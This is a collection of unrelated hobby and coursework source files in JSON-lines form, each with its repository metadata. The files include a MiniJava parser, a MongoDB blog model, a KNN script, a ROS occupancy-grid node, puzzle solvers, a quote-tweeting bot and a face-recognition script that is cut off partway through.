i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_UnaryExpression(p):\n '''UnaryExpression : PLUSPLUS UnaryExpression\n | MINUSMINUS UnaryExpression\n | PLUS UnaryExpression\n | MINUS UnaryExpression\n | UnaryExpressionNotPlusMinus\n | Primary\n | TypeName\n | Identifier '''\n\n global UnaryExpression_counter\n p[0] = \"UnaryExpression_{%d}\" % (UnaryExpression_counter)\n UnaryExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n else:\n # TODO:\n print(\"SLDKFJSLDKFJLFKDJDL\")\n\ndef p_UnaryExpressionNotPlusMinus(p):\n '''UnaryExpressionNotPlusMinus : PostIncrementExpression\n | PostDecrementExpression\n | TILDA UnaryExpression\n | BOOLEANNOT UnaryExpression\n | CastExpression '''\n\n global UnaryExpressionNotPlusMinus_counter\n p[0] = \"UnaryExpressionNotPlusMinus_{%d}\" % (UnaryExpressionNotPlusMinus_counter)\n UnaryExpressionNotPlusMinus_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_PostIncrementExpression(p):\n '''PostIncrementExpression : PostIncrementExpression PLUSPLUS\n | PostDecrementExpression PLUSPLUS\n | Primary PLUSPLUS\n | TypeName PLUSPLUS\n | Identifier PLUSPLUS\n '''\n\n global PostIncrementExpression_counter\n p[0] = \"PostIncrementExpression_{%d}\" % (PostIncrementExpression_counter)\n PostIncrementExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_PostDecrementExpression(p):\n '''PostDecrementExpression : PostIncrementExpression MINUSMINUS\n | PostDecrementExpression MINUSMINUS\n | Primary MINUSMINUS\n | TypeName MINUSMINUS\n | Identifier MINUSMINUS\n '''\n\n global PostDecrementExpression_counter\n p[0] = \"PostDecrementExpression_{%d}\" % (PostDecrementExpression_counter)\n PostDecrementExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_CastExpression(p):\n '''CastExpression : LPAREN PrimitiveType RPAREN UnaryExpression\n | LPAREN ReferenceType MultAdditionalBound RPAREN UnaryExpressionNotPlusMinus\n | LPAREN ReferenceType RPAREN UnaryExpressionNotPlusMinus\n | LPAREN ReferenceType MultAdditionalBound RPAREN Primary\n | LPAREN ReferenceType RPAREN Primary\n | LPAREN ReferenceType MultAdditionalBound RPAREN TypeName\n | LPAREN ReferenceType RPAREN TypeName\n | LPAREN ReferenceType MultAdditionalBound RPAREN Identifier\n | LPAREN ReferenceType RPAREN Identifier\n | LPAREN ReferenceType MultAdditionalBound RPAREN LambdaExpression\n | LPAREN ReferenceType RPAREN LambdaExpression\n | LPAREN Identifier MultAdditionalBound RPAREN UnaryExpressionNotPlusMinus\n | LPAREN Identifier RPAREN UnaryExpressionNotPlusMinus\n | LPAREN Identifier MultAdditionalBound RPAREN Primary\n | LPAREN Identifier RPAREN Primary\n | LPAREN Identifier MultAdditionalBound RPAREN TypeName\n | LPAREN Identifier RPAREN TypeName\n | LPAREN Identifier MultAdditionalBound RPAREN Identifier\n | LPAREN Identifier RPAREN Identifier\n | LPAREN Identifier MultAdditionalBound RPAREN LambdaExpression\n | LPAREN Identifier RPAREN LambdaExpression\n '''\n\n global CastExpression_counter\n p[0] = \"CastExpression_{%d}\" % (CastExpression_counter)\n CastExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n################################################################################\n\n#Default Error\ndef p_error(p):\n print(\"Input Error [EXITING]: \", p)\n sys.exit(-1)\n return\n\ndef p_Brackets(p):\n ''' Brackets : LBRACKETS RBRACKETS Brackets\n | LBRACKETS RBRACKETS'''\n global Brackets_counter\n p[0] = \"Brackets_{%d}\" % (Brackets_counter)\n Brackets_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n# Build the parser\nif __name__ == '__main__':\n parser = yacc.yacc()\n\n file=open(sys.argv[1],'r')\n test=file.read()\n\n file_path = sys.argv[1]\n\n ast_file_path = \"./AST/\" + os.path.basename(file_path).split('.')[0] + \".dot\"\n f = open(ast_file_path, \"+w\")\n\n f.write(\"strict digraph AST {\\n\")\n if (not os.path.isfile(file_path)):\n print(\"The file doesn't exist. EXITING.\")\n sys.exit(-1)\n\n file1 = open(file_path)\n code = file1.read()\n\n # parser.parse(code,lexer, True, True)\n parser.parse(code,lexer, False, True)\n f.write(\"}\\n\")\n\n print(\"Your AST has been successfully generated to the file '%s'. Bye bye!\" % (ast_file_path))\n f.close()\n","repo_name":"ankushSsingh/MiniJavaCompiler","sub_path":"milestone1/src/new_parser.py","file_name":"new_parser.py","file_ext":"py","file_size_in_byte":147731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33447424101","text":"import uuid\nfrom model.post import Post\nimport datetime\nfrom database import Database\n\nclass Blog(object):\n def __init__(self,author,title,description,id=None):\n self.author = author\n self.title = title\n self.description = description\n self.id = uuid.uuid4().hex if id is None else id\n\n def new_post(self):\n title = input(\"Enter post title:\")\n content = input(\"Enter post:\")\n date = input(\"Enter date or leave for today(ddmmyyyy):\")\n post = Post(self.author,title,content,self.id,datetime.datetime.strptime(date,\"%d%m%Y\"))\n\n post.save_to_mongo()\n\n def get_posts(self):\n return Post.from_blog(self.id)\n\n def save_to_mongo(self):\n Database.insert('blogs',self.json())\n\n def json(self):\n return {\n 'author' : self.author,\n 'title' : self.title,\n 'description' : self.description,\n 'id' : self.id\n }\n\n @classmethod\n def from_mongo(cls,id):\n blog_data = Database.findOne('blogs',{'id' :id})\n\n return cls(blog_data['author'],\n blog_data['title'],\n blog_data['description'],\n blog_data['id'])\n","repo_name":"ProtulSikder/my-terminal-blog","sub_path":"model/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2561890440","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport warnings\nfrom math import sqrt\nfrom matplotlib import style\nfrom collections import Counter\n\nstyle.use('fivethirtyeight')\n\ndata = {'grupo 1' : [[1,2], [2,3], [3,1]], 'grupo 2' : [[6,5],[7,7],[8,6]]}\nnovo_dado = [3,3]\n\ndef k_nearest_neighbors(data, novo_dado, k=3):\n if len(data) >= k:\n warnings.warn('Conjunto de dados muito pequeno')\n\n distancias = []\n\n for grupo in data:\n for ponto in data[grupo]:\n distancia = np.linalg.norm(np.array(ponto)-np.array(novo_dado))\n distancias.append([distancia, grupo])\n \n proximidades = [i[1] for i in sorted(distancia)[:k]]\n maior_proximidade = Counter(proximidades).most_common(1)[0][0]\n\n return maior_proximidade\n\nresult = k_nearest_neighbors(data, novo_dado)\nprint(result)","repo_name":"MatBitt/ML","sub_path":"src/kneighbors.py","file_name":"kneighbors.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41034531438","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\nimport time\n\nimport rospy\nimport tf as ros_tf\nimport tf2_ros\nfrom std_msgs.msg import Header\nfrom nav_msgs.msg import OccupancyGrid\nfrom nav_msgs.msg import MapMetaData\nfrom geometry_msgs.msg import Pose\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Quaternion\nfrom geometry_msgs.msg import TransformStamped\n\nx_distance = 0\ny_distance = 0\nclass OccupancyGridStack():\n\tdef __init__(self, fixed_frame = \"map\", base_link = \"base_link\", \n\t\t\t\t\t resolution = 0.1, output_size = [40, 40], \n\t\t\t\t\t topics_list = list()):\n\n\t\tself.fixed_frame = fixed_frame\n\t\tself.base_link = base_link\n\t\tself.resolution = resolution \n\t\tself.output_size = output_size\n\t\tself.output_shape = tuple([int(round(i/self.resolution)) for i in self.output_size])\n\n\t\tself.current_stack = np.zeros(self.output_shape, np.uint8)\n\t\tself.current_stack_int = np.ndarray(self.output_shape, np.int8)\n\t\tself.current_stack_float = np.zeros(self.output_shape, np.float16)\n\t\tself.temp_stack = np.zeros(self.output_shape, np.uint8)\n\n\t\tself.last_to_current_warp_affine_mat = np.ndarray\n\n\t\tself.new_ROI = np.zeros(self.output_shape, np.uint8)\n\t\tself.decay_mask = np.zeros(self.output_shape, np.float16)\n\n\t\tself.map_msg = OccupancyGrid()\n\t\tself.og_publisher = rospy.Publisher(\"test/output\", OccupancyGrid, queue_size=1)\n\n\t\tself.tfBuffer = tf2_ros.Buffer()\n\t\tself.tf_listener = tf2_ros.TransformListener(self.tfBuffer)\n\t\tself.tf2_ros_exception = (tf2_ros.LookupException, tf2_ros.ExtrapolationException)\n\n\t\tself.last_current_pose = TransformStamped()\n\t\tself.last_current_pose.transform.rotation.w = 1\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tself.last_current_pose = self.tfBuffer.lookup_transform(self.base_link,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.fixed_frame,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trospy.Time.now(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trospy.Duration(0.1))\n\t\t\texcept self.tf2_ros_exception as e:\n\t\t\t\tprint(e)\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tbreak\n\t\t\n\n\t\tself.input_sub = list()\n\t\tfor i in topics_list:\n\t\t\tself.input_sub.append(rospy.Subscriber(i, OccupancyGrid, self.callback, queue_size = 1))\n\n\tdef tf_stack_to_current_pose(self):\n\t\tglobal tf2_ros_exception\n\t\tglobal x_distance\n\t\tglobal y_distance\n\t\t#----------------------------------------------------------------------------------------\n\t\t# Calculate last and current pose transformation in FIXED frame\n\n\t\tlast_translation, last_rotation = self.last_current_pose.transform.translation, self.last_current_pose.transform.rotation\n\t\t\n\t\tlast_theta_z\t\t = np.arctan(last_rotation.z/last_rotation.w) * 2\n\n\t\tlast_warp_affine_mat = np.identity(3)\n\t\tlast_warp_affine_mat[0,0] = np.cos(last_theta_z)\n\t\tlast_warp_affine_mat[1,1] = last_warp_affine_mat[0,0]\n\t\tlast_warp_affine_mat[0,1] = -np.sin(last_theta_z)\n\t\tlast_warp_affine_mat[1,0] = -last_warp_affine_mat[0,1]\n\t\tlast_warp_affine_mat[0,2] = last_translation.x/self.resolution\n\t\tlast_warp_affine_mat[1,2] = last_translation.y/self.resolution\n\n\t\t#----------------------------------------------------------------------------------------\n\t\tcurrent_translation, current_rotation = last_translation, last_rotation\n\t\t\n\t\t# Assuming that the transform from last pose to current pose remains the same in a small time window\n\t\t# if no transform available, reuse the last transform\n\t\ttry:\n\t\t\tcurrent_tf = self.tfBuffer.lookup_transform(self.base_link, self.fixed_frame, rospy.Time.now(), rospy.Duration(0.1))\n\t\t\tcurrent_translation, current_rotation = current_tf.transform.translation, current_tf.transform.rotation\n\n\t\t\tcurrent_theta_z\t\t = np.arctan(current_rotation.z/current_rotation.w) * 2\n\t\t\t\n\t\t\tcurrent_warp_affine_mat = np.identity(3)\n\t\t\tcurrent_warp_affine_mat[0,0] = np.cos(current_theta_z)\n\t\t\tcurrent_warp_affine_mat[1,1] = current_warp_affine_mat[0,0]\n\t\t\tcurrent_warp_affine_mat[0,1] = -np.sin(current_theta_z)\n\t\t\tcurrent_warp_affine_mat[1,0] = -current_warp_affine_mat[0,1]\n\t\t\tcurrent_warp_affine_mat[0,2] = current_translation.x/self.resolution\n\t\t\tcurrent_warp_affine_mat[1,2] = current_translation.y/self.resolution\n\t\t\t\n\t\t\t#---------------------------------------------------------------------------last_to_current_warp_affine_mat[1,3] + self.output_shape[1]/2-------------\n\t\t\tlast_to_current_warp_affine_mat = np.matmul(current_warp_affine_mat,np.linalg.inv(last_warp_affine_mat))\n\n\t\t\tx_distance += last_to_current_warp_affine_mat[0,2]\n\t\t\ty_distance += last_to_current_warp_affine_mat[1,2]\n\n\t\t\ttranslate_to_center = np.identity(3)\n\t\t\ttranslate_to_center[0,2] = -self.output_shape[0] / 2\n\t\t\ttranslate_to_center[1,2] = -self.output_shape[1] / 2\n\n\t\t\tlast_to_current_warp_affine_mat = np.matmul(np.linalg.inv(translate_to_center), last_to_current_warp_affine_mat)\n\t\t\tlast_to_current_warp_affine_mat = np.matmul(last_to_current_warp_affine_mat, translate_to_center)\n\t\t\t\n\t\t\tself.last_to_current_warp_affine_mat = last_to_current_warp_affine_mat[:2, :]\n\t\t\t\n\t\t\tx_distance += self.last_to_current_warp_affine_mat[0,2]\n\t\t\ty_distance += self.last_to_current_warp_affine_mat[1,2]\n\t\t\tprint(x_distance)\n\t\t\tprint(y_distance)\n\n\t\t\t#print(self.last_to_current_warp_affine_mat)\n\t\t\tprint(\"---------\")\n\t\texcept self.tf2_ros_exception as e:\n\t\t\ttemplate = \"{0} occurred at transforming stack to current pose.\\n Arguments:\\n{1!r}\"\n\t\t\tmessage = template.format(type(e).__name__, e.args)\n\t\t\trospy.logerr(message)\n\n\t\tself.current_stack = cv2.warpAffine(self.current_stack, self.last_to_current_warp_affine_mat, \n\t\t\t\t\t\t\t\t\t\t\t\t self.output_shape)\n\t\t\t\t\t\t\t\t\t\t\t \n\t\tself.last_current_pose.transform.translation, self.last_current_pose.transform.rotation = (current_translation, current_rotation)\n\n\tdef publish_og_msg(self):\n\n\t\tself.BATOLOPU(self.temp_stack)\n\t\tself.temp_stack = np.zeros(self.output_shape, np.uint8)\n\t\t\n\t\tself.current_stack_int = self.current_stack.round().astype(np.int8) - 1\n\n\t\tself.map_msg.header.frame_id = self.base_link\n\t\tself.map_msg.header.stamp = rospy.Time.now()\n\n\t\tself.map_msg.info.height = self.output_shape[0] #Unit: Pixel\n\t\tself.map_msg.info.width = self.output_shape[1] #Unit: Pixel\n\t\tself.map_msg.info.resolution = self.resolution\n\n\t\tself.map_msg.info.origin.position.x = -self.output_size[0]/2 #Unit: Meter\n\t\tself.map_msg.info.origin.position.y = -self.output_size[1]/2 #Unit: Meter\n\t\tself.map_msg.info.origin.position.z = 0\n\t\tself.map_msg.info.origin.orientation.x = 0\n\t\tself.map_msg.info.origin.orientation.y = 0\n\t\tself.map_msg.info.origin.orientation.z = 0\n\t\tself.map_msg.info.origin.orientation.w = 1\n\n\t\tself.map_msg.data = self.current_stack_int.flatten().tolist()\n\t\tself.map_msg.info.map_load_time = rospy.Time.now()\n\n\t\tself.og_publisher.publish(self.map_msg)\n\n\tdef callback(self, msg):\n\t\tsensor_frame = msg.header.frame_id\n\t\twidth = msg.info.width\n\t\theight = msg.info.height\n\t\tinput_resolution = msg.info.resolution\n\n\t\tdata_mat = np.array(msg.data).reshape(height, width)\n\t\tdata_mat = (data_mat+1).round().astype(np.uint8)\n\n\t\tresized_ratio = self.resolution/input_resolution\n\t\tresized_mat = cv2.resize(data_mat, (0,0), fx=resized_ratio, fy=resized_ratio)\n\n\n\t\tsensor_frame_crop_tf = [[],[]]\n\t\tsensor_frame_crop_tf[0] = [msg.info.origin.position.x,\n\t\t\t\t\t\t\t\t\t\tmsg.info.origin.position.y,\n\t\t\t\t\t\t\t\t\t\tmsg.info.origin.position.z]\n\n\t\tsensor_frame_crop_tf[1] = [msg.info.origin.orientation.x,\n\t\t\t\t\t\t\t\t\t\tmsg.info.origin.orientation.y,\n\t\t\t\t\t\t\t\t\t\tmsg.info.origin.orientation.z,\n\t\t\t\t\t\t\t\t\t\tmsg.info.origin.orientation.w]\n\n\t\tcrop_mat = self.sensor_frame_crop(resized_mat, sensor_frame_crop_tf)\n\t\t#print(crop_mat.dtype)\n\t\tbaselink_frame_mat = self.tf_to_baselink_frame(crop_mat, sensor_frame, self.base_link)\n\t\t#print(baselink_frame_mat.dtype)\n\t\n\t\ttf_to_baselink= self.tfBuffer.lookup_transform(sensor_frame,\n\t\t\t\t\t\t\t\t\t\t\t\t\t self.base_link,\n\t\t\t\t\t\t\t\t\t\t\t\t\t rospy.Time.now(), rospy.Duration(0.1))\n\t\t\n\t\tself.tf_stack_to_current_pose()\n\t\tself.temp_stack = np.maximum(self.temp_stack, baselink_frame_mat)\n\t\t\n\n\tdef tf_to_baselink_frame(self, og_np, sensor_frame, baselink_frame):\n\t\ttf_to_baselink_trans = [0,0,0]\n\t\ttf_to_baselink_rot = [0,0,0,1]\n\n\t\ttry:\n\t\t\ttf_to_baselink= self.tfBuffer.lookup_transform(sensor_frame,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbaselink_frame,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trospy.Time.now(), rospy.Duration(0.1))\n\t\t\t\n\t\t\ttf_to_baselink_trans, tf_to_baselink_rot = tf_to_baselink.transform.translation, tf_to_baselink.transform.rotation\n\t\t\ttheta_z = np.arctan(tf_to_baselink_rot.z/tf_to_baselink_rot.w) * 2\n\n\t\t\tog_center = tuple(np.array(og_np.shape[1::-1]) / 2)\n\t\t\tog_rot_mat = np.identity(3)\n\t\t\tog_rot_mat[0:2, :] = cv2.getRotationMatrix2D(og_center, np.degrees(theta_z), 1.0)\n\n\t\t\tog_trans_mat \t\t = np.identity(3)\n\t\t\tog_trans_mat[0:2,2] = np.array([-tf_to_baselink_trans.x, -tf_to_baselink_trans.y])/self.resolution\n\n\t\t\twarp_affine_mat = np.matmul(og_rot_mat, og_trans_mat)\n\n\t\t\twarp_affine_mat = warp_affine_mat[0:2, :]\n\t\t\t\n\t\t\treturn cv2.warpAffine(og_np, warp_affine_mat, self.output_shape)\n\n\t\texcept self.tf2_ros_exception as e:\n\t\t\t# If no transform available, discard the sensor data, return zero matrix\n\t\t\ttemplate = \"{0} occurred at transforming sensor data to baselink frame.\\n Arguments:\\n{1!r}\"\n\t\t\tmessage = template.format(type(e).__name__, e.args)\n\t\t\trospy.logerr(message)\n\n\t\t\treturn np.zeros(self.output_shape, np.int8)\n\n\t\t\n\n\tdef sensor_frame_crop(self, og_np, crop_tf):\n\t\t# Assume that we are doing 2D OccupancyGrid only\n\t\ttheta_z = np.arctan(crop_tf[1][2]/crop_tf[1][3])\n\t\ttwod_quaternion = [0, 0, np.sin(theta_z), np.cos(theta_z)]\n\n\t\tog_rot_mat = ros_tf.transformations.quaternion_matrix(twod_quaternion)\n\t\tog_rot_mat = og_rot_mat[0:2, 0:3]\n\n\t\tog_trans_mat = np.zeros(2)\n\t\tog_trans_mat[0] = self.output_shape[0]/2 + crop_tf[0][0]/self.resolution\n\t\tog_trans_mat[1] = self.output_shape[1]/2 + crop_tf[0][1]/self.resolution\n\n\t\twarp_affine_mat = og_rot_mat\n\t\twarp_affine_mat[:, 2] = og_trans_mat\n\n\t\treturn cv2.warpAffine(og_np, warp_affine_mat, self.output_shape)\n\n\tdef BATOLOPU(self, input_occ_grid):\n\t\t#stacked = (og_current_pose + baselink_transformed_og*4)/5\n\t\t# batolopu: BAselink Transformed Occupancygrid LOw Priotizing Unknown\n\t\t# If new OccupancyGrid has unknown data, then unknown data is filled by \n\t\t# stacked OccupancyGrid\n\t\t\n\t\t'''\n\t\tbatolopu = (input_occ_grid + (input_occ_grid == 0) * self.current_stack) + (input_occ_grid == 1) * input_occ_grid\n\t\t\n\t\tself.current_stack = (self.current_stack + batolopu) / 2\n\t\t'''\n\n\t\t# Adaptable weights\n\t\ta_ = 0\n\t\tb_ = 1 - a_\n\t\tbatolopu = ((input_occ_grid + (input_occ_grid == 0) * self.current_stack_float) \n\t\t + (input_occ_grid == 1) * input_occ_grid).astype(np.float16)\n\n\t\tself.current_stack_float = (self.current_stack.astype(np.float16) * a_ + batolopu * b_)\n\t\tself.current_stack = (self.current_stack_float).astype(np.uint8)\t\n\n\nif __name__ == \"__main__\":\n\trospy.init_node(\"stack_og\")\n\n\tfixed_frame = rospy.get_param(\"fixed_frame\", \"odom\")\n\tbaselink_frame = rospy.get_param(\"baselink_frame\", \"base_link\")\n\n\tresolution = rospy.get_param(\"resolution\", 0.1)\n\theight = rospy.get_param(\"height\", 40)\n\twidth = rospy.get_param(\"width\", 40)\n\n\ttopic_list = rospy.get_param(\"topic_list\", [\"/map/image_segmentation\", \"output\"])\n\n\tstack_og = OccupancyGridStack(fixed_frame, baselink_frame,\n\t\t\t\t\t\t\t\t resolution, [height, width], topic_list)\n\n\trate = rospy.Rate(100)\n\twhile not rospy.is_shutdown():\n\t\trospy.loginfo(\"New cycle\")\n\t\tt1 = time.time()\n\t\tstack_og.publish_og_msg()\n\t\tt2 = time.time()\n\t\trospy.loginfo(t2 - t1)\n\t\trate.sleep()\n\n\n\t\n\n\n\t\n\n\t\t","repo_name":"anhquan-dao/stack_og","sub_path":"scripts/batolopu_stack.py","file_name":"batolopu_stack.py","file_ext":"py","file_size_in_byte":11384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"79781640","text":"# 人 狼 羊 菜\ndef is_valid_state(state):\n # 检查是否有不安全的状态,即狼吃羊或羊吃菜\n if (state[1] == state[2] and state[0] != state[1]) or (state[2] == state[3] and state[0] != state[2]):\n return False\n return True\n\ndef dfs(state, path, visited):\n if state == (0, 0, 0, 0):\n # 找到了解决方案\n print(\"找到解决方案:\", path)\n return\n\n for move in moves:\n new_state = tuple(state[i] + move[i] for i in range(4))\n if all(0 <= new_state[i] <= 1 for i in range(4)) and is_valid_state(new_state) and new_state not in visited:\n visited.add(new_state)\n dfs(new_state, path + [new_state], visited)\n visited.remove(new_state)\n\n# 初始状态:(1, 1, 1, 1) 表示人、狼、羊、菜都在起始岸\ninitial_state = (1, 1, 1, 1)\n# 移动方式\nmoves = [\n (-1, 0, 0, 0),\n (-1, -1, 0, 0),\n (-1, 0, -1, 0),\n (-1, 0, 0, -1),\n (1, 0, 0, 0),\n (1, 1, 0, 0),\n (1, 0, 1, 0),\n (1, 0, 0, 1)\n]\n\nvisited = set()\nvisited.add(initial_state)\n\ndfs(initial_state, [initial_state], visited)","repo_name":"xxxxlzZ/xxxxxl","sub_path":"919/quiz3.py","file_name":"quiz3.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3611856688","text":"import requests\nimport copy\nDEFAULT_HEADERS = {\n \"User-Agent\": \"Mozilla/5.0\",\n \"Referer\": \"https://www.bilibili.com/\",\n \"connection\":\"close\"\n}\nclass defauleRqu(object):\n def __init__(self):\n pass\n def request(self,method: str, url: str, params=None, data=None, cookies=None, headers=None, data_type: str = \"form\", **kwargs):\n if params is None:\n params = {}\n if data is None:\n data = {}\n if cookies is None:\n cookies = {}\n if headers is None:\n headers = copy.deepcopy(DEFAULT_HEADERS)\n if data_type.lower() == \"json\":\n headers['Content-Type'] = \"application/json\"\n st = {\n \"url\": url,\n \"params\": params,\n \"headers\": headers,\n \"verify\": True,\n \"data\": data,\n \"proxies\": None,\n \"cookies\": cookies\n }\n st.update(kwargs)\n\n return requests.request(method, **st)","repo_name":"prc123/tempFlask","sub_path":"app/lib/webRequest/defauleRqu.py","file_name":"defauleRqu.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21084506903","text":"# 11047\n'''\nn,k = map(int,input().split())\narr = []\ncount = 0\nfor _ in range(n):\n arr.append(int(input()))\narr.sort(reverse=True)\nfor i in range(n):\n if k == 0:\n break\n if k >= arr[i]:\n temp = k//arr[i]\n k = k - (temp * arr[i])\n count = count + temp\nprint(count)\n'''\n\n# 11054 LIS 알고리즘 \nn = int(input())\narr = list(map(int,input().split()))\ndpl = [0]*n\ndpr = [0]*n\n\nfor i in range(0,n):\n dpl[i] = 1\n for j in range(0,i):\n if(arr[i] > arr[j]):\n dpl[i] = max(dpl[i], dpl[j]+1)\n\nfor i in range(n-1,-1,-1):\n dpr[i] = 1\n for j in range(n-1,i,-1):\n if(arr[i] > arr[j]):\n dpr[i] = max(dpr[i], dpr[j]+1)\nresult = [dpr[i] + dpl[i] for i in range(n)]\nprint(max(result)-1)","repo_name":"HaloKim/self_study","sub_path":"1d1c/백준/day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17647813945","text":"import json\nimport logging\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom random import randint\n\nimport tweeter\n\nlogging.basicConfig(level='INFO', filename='bananabot.log',\n format='%(asctime)s;%(levelname)s;%(message)s')\nlogger = logging.getLogger(__name__)\n\ndef bananabot():\n quotes_file = open('quotes.json')\n quotes_str = quotes_file.read()\n quotes_json = json.loads(quotes_str)\n\n nouns = []\n while len(nouns) == 0:\n quote_index = randint(0, len(quotes_json)-1)\n quote_json = quotes_json[quote_index]\n quote_author = quote_json['quoteAuthor']\n quote_text = quote_json['quoteText']\n logger.info('Candidate quote:')\n logger.info('\"' + quote_text + '\"')\n logger.info(' - ' + quote_author)\n\n quote_tokens = word_tokenize(quote_text)\n tagged_words = nltk.pos_tag(quote_tokens)\n for word in tagged_words:\n if word[1] == 'NN':\n nouns.append(word[0])\n\n noun_index = randint(0, len(nouns)-1)\n noun = nouns[noun_index]\n\n quote_split = quote_text.split(noun)\n occurences = len(quote_split)-1\n occurence_index = randint(0, occurences-1)\n\n quote_replaced = quote_split[0]\n for i in range(occurences):\n if i == occurence_index:\n if noun[0].isupper():\n quote_replaced += 'Banana' + quote_split[i+1]\n else:\n quote_replaced += 'banana' + quote_split[i+1]\n else:\n quote_replaced += noun + quote_split[i+1]\n\n logger.info('Banana-fied quote:')\n logger.info(quote_replaced)\n\n author = quote_author\n if author == '':\n author = 'Unknown'\n\n message = '\"{0}\"\\n - {1}'.format(quote_replaced, author)\n\n logger.info(\"Full message:\")\n logger.info(message)\n\n # tweeter.post_tweet(message)\n\n # logger.info('Quote tweeted successfully!')\n\ntry:\n bananabot()\nexcept Exception as e:\n logger.error(e)\n","repo_name":"ConnorWhalen/bananabot","sub_path":"bananabot.py","file_name":"bananabot.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"30587434790","text":"import torch\nimport torch.nn as nn\nfrom .Utils import Utils\nfrom .SublayerConnection import SublayerConnection\n\n\nclass EncoderLayer(nn.Module):\n \"Encoder is made up of self-attn and feed forward (defined below)\"\n def __init__(self, size, self_attn, feed_forward, dropout):\n super(EncoderLayer, self).__init__()\n self.self_attn = self_attn\n self.feed_forward = feed_forward\n self.sublayer = Utils.clones(SublayerConnection(size, dropout), 2)\n self.size = size\n self.display_shape = True\n\n def forward(self, x, mask):\n \"Follow Figure 1 (left) for connections.\"\n if self.display_shape:\n print(\"input before self-attn:\", x.shape)\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n if self.display_shape:\n print(\"shape after self attn:\", x.shape)\n return self.sublayer[1](x, self.feed_forward)","repo_name":"penelope24/ccs2vec","sub_path":"model/transformer/EncoderLayer.py","file_name":"EncoderLayer.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"25668395877","text":"import face_recognition\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nvideo_capture = cv2.VideoCapture(0, cv2.CAP_V4L2)\nvideo_capture.set(cv2.CAP_PROP_FPS, 5)\n\nprint(video_capture.get(cv2.CAP_PROP_FPS))\n\nface1 = face_recognition.load_image_file(\"known_faces/Breyner_Albarracin.jpg\")\nface1_encoding = face_recognition.face_encodings(face1)[0]\n\nface2 = face_recognition.load_image_file(\"known_faces/Victor_Romero.jpeg\")\nface2_encoding = face_recognition.face_encodings(face2)[0]\n\nfaceA1 = face_recognition.load_image_file(\"known_faces/Persona1.jpg\")\nfaceA1_encoding = face_recognition.face_encodings(faceA1)[0]\nfaceA2 = face_recognition.load_image_file(\"known_faces/Persona2.jpg\")\nfaceA2_encoding = face_recognition.face_encodings(faceA2)[0]\nfaceA3 = face_recognition.load_image_file(\"known_faces/Persona3.jpg\")\nfaceA3_encoding = face_recognition.face_encodings(faceA3)[0]\nfaceA4 = face_recognition.load_image_file(\"known_faces/Persona4.jpg\")\nfaceA4_encoding = 